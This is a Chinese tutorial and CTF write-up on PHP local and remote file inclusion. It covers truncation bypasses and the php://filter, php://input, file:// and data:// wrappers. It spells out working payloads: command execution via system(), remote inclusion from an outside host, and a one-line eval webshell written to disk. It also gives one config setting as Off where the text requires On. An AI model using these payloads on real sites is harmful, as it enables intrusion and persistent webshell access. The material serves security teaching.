0x00 漏洞产生原因
文件包含解析漏洞,往往会造成网站的信息泄露,执行命令等,原因是因为在网站中间件的配置文件例如php.ini里面的函数造成,漏洞的存在要保证一下两个函数处于开启状态
allow_url_fopen = On: 通俗来讲,allow_url_fopen函数是允许http://和ftp://将url中当作文件处理,
allow_url_include = Off: allow_url_include是允许include/require打开URL也将其组为文件处理,
include函数: Include()函数可以获取指定的文件中的所有文本,并把文本拷贝到使用include()函数的文件中。当包含遇到错误,如包含文件不存在时,include()函数会生成警告,但是脚本继续执行。
require函数: Require()函数同样接受所有的文本文件,并且也将文件复制到使用函数的文件中,但是当此函数遇到错误时,如被包含文件不存在,require()函数会爆出错误,并且脚本停止执行。
文件包含的分类: 本地包含:127.0.0.1/?filename=…/…/…/1.txt (当作php执行) 远程包含:危害更大:127.0.0.1/?filename=http://www.xxx.com/1.txt)
简单绕过: %00截断:条件:magic_quotes_gpc = Off php版本<5.3.4 filename=…/…/…/www.txt%00 长度截断:条件:windows,点号需要长于256;linux 长于4096 http://127.0.0.1:8080/include.php?filename=http://www.kxsy.work/readme.txt http://127.0.0.1:8080/include.php?filename=http://www.kxsy.work/readme.txt%20 http://127.0.0.1:8080/include.php?filename=http://www.kxsy.work/readme.txt%23 http://127.0.0.1:8080/include.php?filename=http://www.kxsy.work/readme.txt?
0x01 文件包含解析漏洞-百度杯-CTF案例
> 首先介绍文件包含协议流玩法:
> #https://www.cnblogs.com/endust/p/11804767.html http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64-encode/resource=1.txt
> http://127.0.0.1:8080/include.php?filename=php://input Post:<?php system('ver')?>
> <?PHP fputs(fopen('s.php','w'),'<?php @eval($_POST[cmd])?>');?>
> http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/WWW/1.txt
> http://127.0.0.1:8080/include.php?filename=data://text/plain,<?php%20phpinfo();?>
题目页面: 发现path传参,通过get传参不行,需要以post方式传参,这里利用上面协议流filename=php://input Post:<?php system('ls')?> 漏洞尝试 发现可疑文件 利用漏洞读取函数获取flag
0x02 漏洞防范
1.固定后缀 2.固定文件 3.部署WAF产品
|